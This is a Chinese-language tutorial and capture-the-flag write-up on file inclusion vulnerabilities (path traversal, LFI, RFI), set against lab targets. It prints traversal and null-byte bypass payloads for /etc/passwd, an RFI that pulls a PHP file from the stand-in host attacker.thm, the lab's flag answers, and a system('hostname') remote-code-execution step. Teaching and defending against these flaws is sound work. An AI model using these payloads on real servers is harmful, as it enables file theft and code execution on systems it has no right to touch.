文件包含漏洞全解析:从路径遍历到远程代码执行

3 阅读12分钟

什么是文件包含?

本文旨在为您提供利用文件包含漏洞(包括本地文件包含 LFI、远程文件包含 RFI 和目录遍历)所需的基础知识。

此外,我们还将讨论这些漏洞被发现后带来的风险以及必要的修复措施。

下图分解了 URL 的基本组成部分。

[图片:URL结构示意图]

让我们讨论一个场景:用户请求访问 Web 服务器上的文件。首先,用户向 Web 服务器发送一个 HTTP 请求,其中包含要显示的文件。例如,如果用户想要访问并在 Web 应用程序中显示他们的简历,请求可能如下所示: http://webapp.thm/get.php?file=userCV.pdf 其中 file 是参数,userCV.pdf 是需要访问的文件。

[图片:HTTP请求示例]

为什么会出现文件包含漏洞?

文件包含漏洞通常出现在各种 Web 应用程序编程语言中(例如 PHP),这些语言编写的代码质量较差且实现不当。这些漏洞的主要问题在于输入验证:用户输入未被清理或验证,且用户能够控制这些输入。当输入未经验证时,用户可以向函数传递任意输入,从而导致漏洞。

文件包含的风险是什么?

默认情况下,攻击者可以利用文件包含漏洞泄露数据,例如代码、凭据或与 Web 应用程序或操作系统相关的其他重要文件。此外,如果攻击者可以通过其他方式向服务器写入文件,文件包含可能被结合使用以获得远程命令执行(RCE)。

路径遍历

路径遍历也称为目录遍历,是一种 Web 安全漏洞,允许攻击者读取操作系统资源,例如运行应用程序的服务器上的本地文件。攻击者通过操纵和滥用 Web 应用程序的 URL 来定位和访问存储在应用程序根目录之外的文件或目录来利用此漏洞。

当用户输入被传递给像 PHP 中的 file_get_contents 这样的函数时,就会发生路径遍历漏洞。需要注意的是,函数本身并不是漏洞的主要原因。通常,糟糕的输入验证或过滤才是漏洞的根源。在 PHP 中,您可以使用 file_get_contents 来读取文件内容。

下图显示了一个 Web 应用程序如何将文件存储在 /var/www/app 中。正常情况下,用户会从定义好的路径 /var/www/app/CVs 请求 userCV.pdf 的内容。

[图片:正常文件访问路径]

我们可以通过向 URL 参数添加 payload 来测试 Web 应用程序的行为。路径遍历攻击,也称为点点斜杠攻击,利用双点 ../ 将目录向上移动一级。如果攻击者找到了入口点(本例中为 get.php?file=),则攻击者可能发送如下请求: http://webapp.thm/get.php?file=../../../../etc/passwd

假设没有输入验证,Web 应用程序不是从 /var/www/app/CVs 位置访问 PDF 文件,而是从其他目录(本例中为 /etc/passwd)检索文件。每个 .. 条目都会向上移动一个目录,直到到达根目录 /。然后它更改目录到 /etc,并从那里读取 passwd 文件。

[图片:路径遍历攻击路径]

结果,Web 应用程序将文件内容返回给用户。

[图片:返回文件内容]

类似地,如果 Web 应用程序在 Windows 服务器上运行,攻击者需要提供 Windows 路径。例如,如果攻击者想要读取位于 c:\boot.iniboot.ini 文件,则可以根据目标操作系统版本尝试以下操作: http://webapp.thm/get.php?file=../../../../boot.inihttp://webapp.thm/get.php?file=../../../../windows/win.ini 这里的概念与 Linux 操作系统相同,我们向上遍历目录,直到到达根目录。

有时,开发人员会添加过滤器来限制对某些文件或目录的访问。

本地文件包含 (LFI)

针对 Web 应用程序的 LFI 攻击通常是由于开发人员缺乏安全意识造成的。在 PHP 中,使用诸如 includerequireinclude_oncerequire_once 等函数通常会导致 Web 应用程序易受攻击。本文将重点讨论 PHP,但值得注意的是,LFI 漏洞在使用其他语言(如 ASP、JSP 甚至 Node.js 应用程序)时也会发生。LFI 利用遵循与路径遍历相同的概念。

#1.

假设 Web 应用程序提供两种语言,用户可以在 EN 和 AR 之间选择。

<?PHP include($_GET["lang"]); ?>

上面的 PHP 代码通过 URL 参数 lang 使用 GET 请求来包含页面的文件。可以通过发送以下 HTTP 请求来调用: http://webapp.thm/index.php?lang=EN.php 加载英文页面,或 http://webapp.thm/index.php?lang=AR.php 加载阿拉伯语页面,其中 EN.phpAR.php 文件位于同一目录。

理论上,如果没有输入验证,我们可以从上述代码访问和显示服务器上的任何可读文件。假设我们要读取包含 Linux 操作系统用户敏感信息的 /etc/passwd 文件,我们可以尝试: http://webapp.thm/get.php?file=/etc/passwd 在这种情况下,它可以工作,因为 include 函数中没有指定目录,也没有输入验证。

#2.

接下来,在以下代码中,开发人员决定在函数内部指定目录。

<?PHP include("languages/".$_GET['lang']); ?>

在上述代码中,开发人员决定使用 include 函数仅通过 lang 参数调用 languages 目录中的 PHP 页面。

如果没有输入验证,攻击者可以通过将 lang 输入替换为其他操作系统敏感文件(如 /etc/passwd)来操纵 URL。payload 看起来类似于路径遍历,但 include 函数允许我们将任何调用的文件包含到当前页面中。以下是利用方法: http://webapp.thm/index.php?lang=../../../../etc/passwd

在前两种情况中,我们检查了 Web 应用程序的代码,然后知道如何利用它。但在这种情况下,我们进行的是黑盒测试,没有源代码。在这种情况下,错误对于理解数据如何传递和进入 Web 应用程序至关重要。

在此场景中,我们有以下入口点:http://webapp.thm/index.php?lang=EN。如果我们输入无效输入,例如 THM,我们会得到以下错误: Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

错误消息披露了重要信息。通过输入 THM,错误消息显示了 include 函数的样子:include(languages/THM.php);。仔细观察目录,我们可以看出该函数包含 languages 目录中的文件,并在条目末尾添加了 .php。因此,有效输入将类似于 index.php?lang=EN,其中文件 EN 位于给定的 languages 目录中,并命名为 EN.php

此外,错误消息还披露了关于完整 Web 应用程序目录路径的另一条重要信息:/var/www/html/THM-4/

为了利用这一点,我们需要使用 ../ 技巧,如目录遍历部分所述,以跳出当前文件夹。让我们尝试以下操作: http://webapp.thm/index.php?lang=../../../../etc/passwd 请注意,我们使用了 4 个 ../,因为我们知道路径有四个层级:/var/www/html/THM-4。但我们仍然收到以下错误: Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

看来我们可以跳出 PHP 目录,但 include 函数仍然在读取输入时添加了 .php!这告诉我们开发人员指定了传递给 include 函数的文件类型。为了绕过这种情况,我们可以使用空字节(NULL BYTE),即 %00

使用空字节是一种注入技术,使用 URL 编码表示(如 %00 或十六进制的 0x00)与用户提供的数据一起终止字符串。您可以将其理解为试图诱骗 Web 应用程序忽略空字节之后的所有内容。

通过在 payload 末尾添加空字节,我们告诉 include 函数忽略空字节之后的任何内容,这可能看起来像: include("languages/../../../../../etc/passwd%00").".php"); 等价于 include("languages/../../../../../etc/passwd");

注意: %00 技巧在 PHP 5.3.4 及以上版本中已被修复,不再有效。

#4.

在本节中,开发人员决定过滤关键字以避免泄露敏感信息!/etc/passwd 文件被过滤了。有两种可能的方法来绕过过滤器。第一种是使用空字节 %00,第二种是在被过滤的关键字末尾使用当前目录技巧 /..

利用方法类似于 http://webapp.thm/index.php?lang=/etc/passwd/。我们也可以使用 http://webapp.thm/index.php?lang=/etc/passwd%00

为了更清楚地说明,如果我们在文件系统中尝试 cd .. 概念,它会将您后退一步;但是,如果您执行 cd .,它会停留在当前目录。类似地,如果我们尝试 /etc/passwd/..,结果是 /etc,这是因为我们向根目录移动了一步。现在,如果我们尝试 /etc/passwd/.,结果将是 /etc/passwd,因为点表示当前目录。

现在在实验 #4 中应用此技术,找出如何读取 /etc/passwd

#5.

接下来,在以下场景中,开发人员开始通过过滤一些关键字来进行输入验证。让我们测试并检查错误信息! http://webapp.thm/index.php?lang=../../../../etc/passwd 我们得到了以下错误! Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

如果我们检查 include(languages/etc/passwd) 部分中的警告信息,我们知道 Web 应用程序将 ../ 替换为空字符串。我们可以使用几种技术来绕过此问题。

首先,我们可以发送以下 payload 来绕过它: ....//....//....//....//....//etc/passwd

为什么这有效? 这是因为 PHP 过滤器仅匹配并替换它找到的第一个子集字符串 ../,并且不会进行第二次匹配,留下如下所示的内容。

[图片:过滤绕过示意图]

最后,我们将讨论开发人员强制 include 从已定义目录读取的情况!例如,如果 Web 应用程序要求提供的输入必须包含一个目录,例如: http://webapp.thm/index.php?lang=languages/EN.php 那么,为了利用此漏洞,我们需要将目录包含在 payload 中,如下所示: ?lang=languages/../../../../../etc/passwd

答案

  • 尝试实验 #3 读取 /etc/passwd。请求看起来像什么?/lab3.php?file=../../../../etc/passwd
  • 在实验 #4 中,哪个函数导致了目录遍历?file_get_contents
  • 尝试实验 #6,检查输入字段中必须包含哪个目录?THM-PROFILE24.05

远程文件包含 — RFI

远程文件包含(RFI)是一种将远程文件包含到易受攻击的应用程序中的技术。与 LFI 类似,RFI 发生在对用户输入清理不当的情况下,允许攻击者将外部 URL 注入到 include 函数中。RFI 的一个要求是 allow_url_fopen 选项需要开启。

RFI 的风险高于 LFI,因为 RFI 漏洞允许攻击者在服务器上获得远程命令执行(RCE)。成功的 RFI 攻击的其他后果包括:

  • 敏感信息泄露
  • 跨站脚本攻击(XSS)
  • 拒绝服务(DoS)

成功的 RFI 攻击需要一个外部服务器与应用程序服务器进行通信,攻击者在其服务器上托管恶意文件。然后,恶意文件通过 HTTP 请求被注入到 include 函数中,恶意文件的内容在易受攻击的应用程序服务器上执行。

[图片:RFI攻击流程]

RFI 步骤

下图是成功进行 RFI 攻击的步骤示例!假设攻击者在其自己的服务器 http://attacker.thm/cmd.txt 上托管一个 PHP 文件,其中 cmd.txt 包含一条打印消息 Hello THM

<?PHP echo "Hello THM"; ?>

首先,攻击者注入指向攻击者服务器的恶意 URL,例如 http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。 如果没有输入验证,恶意 URL 就会传递到 include 函数中。接下来,Web 应用服务器将向恶意服务器发送 GET 请求以获取该文件。结果,Web 应用程序将远程文件包含到 include 函数中,以执行页面内的 PHP 文件,并将执行内容发送给攻击者。在我们的例子中,当前页面某处必须显示 Hello THM 消息。

访问以下实验 URL:http://target_ip/playground.php 尝试 RFI 攻击。

修复措施

作为一名开发人员,了解 Web 应用程序漏洞、如何发现它们以及预防方法非常重要。要防止文件包含漏洞,一些常见的建议包括:

  • 保持系统和服务的更新,包括 Web 应用程序框架,使用最新版本。
  • 关闭 PHP 错误,避免泄露应用程序路径和其他潜在信息。
  • Web 应用程序防火墙(WAF)是帮助减轻 Web 应用程序攻击的不错选择。
  • 如果您的 Web 应用程序不需要,请禁用某些导致文件包含漏洞的 PHP 功能,例如 allow_url_fopenallow_url_include
  • 仔细分析 Web 应用程序,只允许必需的协议和 PHP 包装器。
  • 永远不要信任用户输入,确保对文件包含实施适当的输入验证。
  • 实施文件名的白名单和位置白名单以及黑名单。

挑战

干得漂亮!现在应用您学到的技术来获取 flag!熟悉 HTTP Web 基础知识可以帮助您完成这些挑战。

确保附加的虚拟机已启动并正在运行,然后访问:http://target_ip/challenges/index.php

  • 找到可能通过 GET、POST、COOKIE 或 HTTP 头值的入口点!
  • 输入有效输入,观察 Web 服务器的行为。
  • 输入无效输入,包括特殊字符和常见文件名。
  • 不要总是相信您在输入表单中提供的内容就是您想要的!使用浏览器地址栏或诸如 Burpsuite 之类的工具。
  • 输入无效输入时寻找错误,以披露 Web 应用程序的当前路径;如果没有错误,那么反复试验可能是您的最佳选择。
  • 了解输入验证以及是否存在任何过滤器!
  • 尝试注入有效条目以读取敏感文件。

问题 1:/etc/flag1 捕获 Flag1 答案 1: F1x3d-iNpu7-f0rrn [图片:获取Flag1步骤] 检查页面并单击“Inspector”。将 GET 替换为 POST 并刷新页面。最后,在文件名参数中,输入 /etc/flag1

问题 2:/etc/flag2 捕获 Flag2 答案 2: c00k13_i5_yuMmy1 [图片:获取Flag2步骤] 修改 Cookies 并更改 Value 参数,首先将 “guest” 替换为 “Admin”。然后,将 “Admin” 替换为 “../../../../../etc/flag2%00”。%00 用于移除结尾的 .php 部分。

问题 3:/etc/flag3 捕获 Flag3 答案 3: P0st_1s_w0rk1in9 [图片:获取Flag3步骤] 检查页面并单击“Inspector”。将 GET 替换为 POST 并刷新页面。使用 Burp,在文件参数中输入:../../../../etc/flag3%00,最后转发请求后,您将获得 flag。

问题 4:Lab #Playground/playground.php 中使用 RFI 获得 RCE 以执行 hostname 命令。输出是什么? 答案 4: lfi-vm-thm-f8c5b1a78692

要执行 hostname 命令,首先我们在本地系统中创建一个 PHP hostname 文件并保存。文件内容如下所示:

<?php system('hostname'); ?>

然后我们需要启动一个服务器,可以使用以下命令完成: python3 -m http.server 9000 最后,在挑战输入参数中,我们可以运行以下命令来执行远程代码执行: http://<Local IP>:9000/<file_name> CSD0tFqvECLokhw9aBeRqvpUNDqPsYeE9imIts5gqiXKbVOU0RtTR79iexIvJS+m6r4ejQh4hTMZl6ZFOPkrNg==